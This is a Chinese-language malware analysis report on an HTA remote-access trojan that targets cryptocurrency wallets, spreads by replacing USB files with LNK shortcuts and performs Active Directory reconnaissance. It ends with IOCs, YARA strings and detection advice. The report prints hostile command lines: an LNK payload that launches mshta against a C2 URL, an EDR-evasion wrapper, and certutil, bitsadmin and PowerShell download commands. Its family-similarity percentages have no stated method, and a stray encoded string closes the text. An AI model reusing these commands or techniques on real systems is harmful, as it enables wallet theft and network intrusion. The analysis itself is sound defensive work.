1. 执行摘要
本报告记录了对一个复杂的HTML应用程序(HTA)恶意软件样本的分析,该样本旨在窃取加密货币钱包和执行企业网络侦察。该恶意软件采用了高级混淆技术,通过Windows任务计划程序建立持久化,并使用自定义加密的HTTP流量与其命令与控制(C2)基础设施进行通信。
主要发现:
- 主要目标: Ledger、Trezor、Atomic、Exodus、Guarda、KeepKey 和 BitBox02 加密货币钱包。
- 广泛的Active Directory侦察能力,表明其以企业环境为目标。
- 通过恶意LNK文件替换实现USB传播功能。
- 检测到CrowdStrike Falcon时,会修改执行方法。
- C2依赖性: 恶意软件需要活动的C2服务器才能执行(反分析)。
2. 样本信息
样本信息摘要
3. 混淆分析
该恶意软件采用两种基于XOR的字符串解码器,以隐藏操作字符串,避免静态分析。
3.1 主解码器 (_dgaily)
解码用于隐藏执行窗口的HTA应用程序配置:
- 算法: 使用滚动密钥进行XOR运算:
(index * 137 + 140) & 0xFF - 输出:
<HTA:APPLICATION BORDER='none' SHOWINTASKBAR='no' SYSMENU='no' WINDOWSTATE='minimized'>
3.2 次解码器 (_dd7j5a)
解码所有271个操作字符串,包括COM对象、WMI查询、文件路径和C2端点。
- 算法: 使用滚动密钥进行XOR运算:
(index * 107 + 218) & 0xFF
4. 命令与控制基础设施
4.1 C2域名模式
该恶意软件遍历11个C2域名变体,具有故障转移能力:
https://s{i}-updatehub.cc,其中 {i} = 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, (空)
4.3 通信加密
- 请求正文使用预置在payload前的6位随机XOR密钥进行加密。
- 自定义Base64编码,并经过UTF-16LE转换。
- 响应使用相同的XOR + Base64方案。
- 基于JWT令牌的身份验证(Authorization: Bearer {jwt})。
该RAT在未连接并成功通过C2服务器认证之前,不会继续完全执行。
持续执行需要认证:
如果没有与C2进行网络认证,执行过程最远只会进行到mshta.exe执行hta文件和系统枚举,初始执行之后的后续操作不会发生。我尝试设置一个能捕获RAT请求的虚假C2,但无法或不想花费时间设置认证参数。而且由于我拥有代码,代码审查已提供我所需要的一切。
5. 加密货币钱包目标
该恶意软件专门检查流行的加密货币钱包应用程序是否存在:
检测结果通过注册信标中的 ledger=true/false 和 wallets=true/false 参数传输到C2。
6. 持久化机制
该恶意软件通过Windows任务计划程序建立持久化,伪装成合法的Google更新任务。
6.1 计划任务配置
6.2 任务设置
- StartWhenAvailable: true
- DisallowStartIfOnBatteries: false
- StopIfGoingOnBatteries: false
- WakeToRun: true
- RunLevel: 1 (最高) — 如果检测到管理员权限
7. Payload投递方法
该恶意软件采用七种不同的下载方法,并具有自动回退机制以确保payload投递成功:
8. C2任务类型
该恶意软件支持从C2服务器接收的以下任务类型:
9. 反分析技术
9.1 C2依赖性(主要阻碍)
该恶意软件需要活动的C2服务器才能执行任何恶意功能。它会遍历所有11个C2域名变体,如果没有任何一个响应‘success’,则静默退出。这有效地阻止了在隔离环境中的动态分析。
9.2 自删除
zonexi() 函数在执行后立即使用 Scripting.FileSystemObject.DeleteFile() 删除HTA文件。
- 执行前: .hta文件存在
- 执行UpdateHub RAT后: .hta文件被移除,实现自删除
9.3 安全产品检测
当检测到CrowdStrike Falcon时,恶意软件会修改其执行方法,使用 cmd.exe 包装器:cmd.exe /c start "" /b mshta.exe {url}
9.4 其他技术
- 窗口隐藏: HTA配置为隐藏窗口,并执行
window.resizeTo(0,0)和window.moveTo(-10000,-10000)。 - 静默失败: 所有代码都包裹在try/catch块中以吞噬错误。
- 管理员检测: 通过
StdRegProv.GetSecurityDescriptor检查对HKLM\SECURITY的访问权限。 - 自动关闭: 执行结束时调用
window.close()。
10. USB传播机制
任务类型9实现了针对可移动驱动器的USB传播功能。
10.1 目标文件类型
.exe, .docx, .pdf, .doc
10.2 感染过程
- 通过WMI
Win32_DiskDrive枚举可移动驱动器(USB、外部)。 - 扫描目标文件类型(目录深度限制为2层)。
- 通过设置隐藏属性来隐藏原始文件。
- 创建具有相同基本名称的
.lnk快捷方式。 - 快捷方式执行:
cmd.exe /c start "" ".\{original}" & start "" mshta "{C2_URL}"
11. Active Directory侦察
任务类型5触发全面的AD侦察,表明其以企业环境为目标:
11.1 收集的信息
11.2 枚举方法
- WMI:
Win32_ComputerSystem,Win32_NTDomain,Win32_Group,Win32_GroupUser - ADSI:
AdsNameSpacesCOM对象与WinNT://提供程序 - 环境:
LOGONSERVER变量用于识别域控制器
12. 入侵指标(IOCs)
12.1 网络指标
https://s[1-10]-updatehub.cc(C2域名)https://s-updatehub.cc(C2域名,无数字)- 带有6位数字前缀 + Base64编码正文的HTTP POST请求
12.2 文件系统指标
%userprofile%\*.exe(下载的payloads)%TEMP%\{random9}.txt(命令输出)- 在USB驱动器上替换文档的
.lnk文件
12.3 计划任务
GoogleTaskSystem136.0.7023.12{GUID}GoogleUpdaterTaskSystem136.1.7023.12{GUID}
12.4 进程工件
mshta.exe衍生cmd.exe,powershell.exepowershell.exe -ep Bypass -nopbitsadmin.exe /transfercertutil.exe -urlcacherundll32.exe用于执行DLL
13. MITRE ATT&CK 映射
14. 检测建议
14.1 网络检测
- 阻止/监控对
*-updatehub.cc域名的DNS查询和HTTP流量。 - 对正文中包含6位数字前缀的HTTP POST请求发出警报。
- 监控
mshta.exe发起外部HTTP连接。
14.2 端点检测
- 监控
mshta.exe衍生cmd.exe、powershell.exe或与网络相关的进程。 - 对创建名称包含“Google”但可执行路径非Google的计划任务发出警报。
- 检测来自脚本宿主对
SecurityCenter2的WMI查询。 - 监控
certutil.exe和bitsadmin.exe用于文件下载。 - 对可移动驱动器上的批量文件属性更改发出警报。
- 监控USB驱动器上LNK文件的创建以及隐藏文件的存在。
14.3 YARA检测字符串
$hta1 = "HTA:APPLICATION" ascii
$sched1 = "Schedule.Service" ascii
$sched2 = "GoogleTaskSystem136" ascii
$crypto1 = "Ledger Live" ascii
$crypto2 = "@trezor" ascii
$wmi1 = "SecurityCenter2" ascii
$wmi2 = "Win32_NTDomain" ascii
$adsi1 = "WinNT://" ascii
15. 归属分析
我使用Claude帮助验证,发现无法找到完全匹配的现有恶意软件家族。欢迎批评和讨论!我不愿错误地认为发现了新东西,并力求以数据为导向。如有不同意见,请联系我。
UpdateHub HTA RAT — 恶意软件家族比较分析
执行摘要
基于广泛的研究,UpdateHub HTA RAT似乎是一个此前未报告或新出现的恶意软件家族。尽管它与几种已知威胁共享TTPs,但其独特特征使其与现有记录的攻击活动区分开来。
识别出的相似恶意软件家族
-
Aggah活动 / Gorgon Group (相似度最高)
- 相似度评分: 75%
- 评估: 感染链与Aggah非常相似,但UpdateHub使用自定义C2基础设施而非合法服务,并具有Aggah中未见的USB蠕虫功能。
-
Spora / Gamarue / RETADUP (USB蠕虫组件)
- 相似度评分: 60%
- 评估: USB蠕虫技术与Spora/Gamarue的LNK传播方法几乎相同,表明作者复制了这种成熟的技术。
-
KimJongRAT / BabyShark (朝鲜APT)
- 相似度评分: 55%
- 评估: 同样关注加密钱包和HTA感染链,但KimJongRAT归因于具有不同基础设施模式的朝鲜行为者。
-
StilachiRAT (微软记录)
- 相似度评分: 50%
- 评估: 加密窃取目标相似,但代码库和投递机制完全不同。
-
Nova Stealer / Odyssey Stealer (macOS焦点)
- 相似度评分: 40%
- 评估: 平台不同,但针对硬件钱包用户的目标相似。
UpdateHub RAT的独特特征
这些特征使UpdateHub区别于已知家族:
- C2域名故障转移模式:
s10-updatehub.cc→s9-updatehub.cc→ … →s-updatehub.cc。这种编号故障转移模式在记录的恶意软件中不常见。 - 虚假的Google更新任务名称:
GoogleTaskSystem136.0.7023.12{GUID}和GoogleUpdaterTaskSystem136.1.7023.12{GUID}。特定的版本号(136.0.7023.12)似乎是该家族独有的。 - 带乘数的XOR编码:
var tetorY = v31af8 * 107 + 218 & 255; coreve769 += String.fromCharCode(testackS[v31af8] ^ tetorY);。这种基于位置的密钥生成的特定XOR模式是独特的。 - 组合能力: 没有其他记录的家族能同时结合所有以下功能:基于HTA的投递、USB LNK蠕虫传播、加密钱包检测(硬件钱包)、广泛的AD侦察、CrowdStrike Falcon规避、自定义XOR加密C2协议。
- 基于JWT的认证: 对于基于HTA的恶意软件而言,使用JWT令牌进行C2会话认证相对复杂。
归属评估
- 可能来源:
- 网络犯罪活动(最有可能): 经济动机(关注加密钱包);使用通用技术(复制的USB蠕虫代码);首个样本中的巴西C2基础设施线索(meusitehostgator.com.br);无国家行为者指标。
- Aggah/Gorgon工具的演变: 相似的感染链;可能是同一行为者使用新基础设施;不同的最终payload表明可能存在代码共享。
- 商业恶意软件即服务: 版本编号表明持续开发(v3.3);多种下载回退机制表明经过测试;基于任务的设计具有模块化特点。
YARA规则匹配结果
- 通用规则: 也会匹配Aggah和KimJongRAT样本。
- 详细规则: 特定于UpdateHub,不应在其他家族上产生误报。
搜寻建议
- 现有情报的搜索词:
- VirusTotal Intelligence:
content:"updatehub"或content:"GoogleTaskSystem136"或content:"PT30M" AND content:"P3650D" AND content:"Schedule.Service" - MalwareBazaar: 标签: hta, crypto-stealer, usb-worm;签名: 伪装成“Google”的计划任务
- MISP/OpenCTI: 搜索C2:
*-updatehub.cc;搜索类似的HWID模式 - 被动DNS: 查询:
s?-updatehub.cc(其中 ? = 0–10);历史解析数据可能揭示基础设施
- VirusTotal Intelligence:
结论
UpdateHub RAT似乎是一个新记录到的威胁,它结合了多个已知恶意软件家族的技术:
- 感染链 类似Aggah活动。
- USB蠕虫 复制自Spora/Gamarue技术。
- 加密钱包目标 类似于现代窃密软件如KimJongRAT。
- 自定义C2协议与JWT认证 是独特的。
在发现与已知活动的直接代码重叠之前,该恶意软件应作为一个独立家族进行追踪。提供的YARA规则应有助于在威胁情报平台中识别相关样本。
参考文献
- Unit42 — Aggah活动分析
- G DATA — Spora勒索软件蠕虫分析
- Unit42 — KimJongRAT窃密软件变体分析
- Microsoft — StilachiRAT分析
- Moonlock — 反Ledger恶意软件活动
- HP Wolf Security — Aggah活动加密货币窃取器
16. 结论
该HTA恶意软件代表了一个专业开发的多阶段加载器和信息窃取器,具有以下特征:
- 强规避能力: 多种下载方法、隐藏执行、安全产品检测、C2依赖性。
- 企业环境目标: 广泛的AD侦察表明其关注企业环境。
- 加密货币焦点: 针对特定钱包进行检测以实施盗窃。
- 自我传播: 通过LNK替换技术进行USB传播。
- 模块化设计: 基于任务的C2允许灵活部署payload。
其复杂程度和功能集表明,这可能是一个商业恶意软件套件或有组织的威胁行为者行动的一部分,同时针对金融(加密货币)和企业资产。C2依赖性既是一种反分析机制,也是一个“开关”,阻止了在隔离分析环境中的执行。FINISHED CSD0tFqvECLokhw9aBeRqo7yHSMN9tVuhKFdQC4+JBtZMiN4qDlcHtGRvhhUlaY69OrPgCmSX34PL8gvPS/VRNhqHBMaTzeKmH/9+9BD8ng=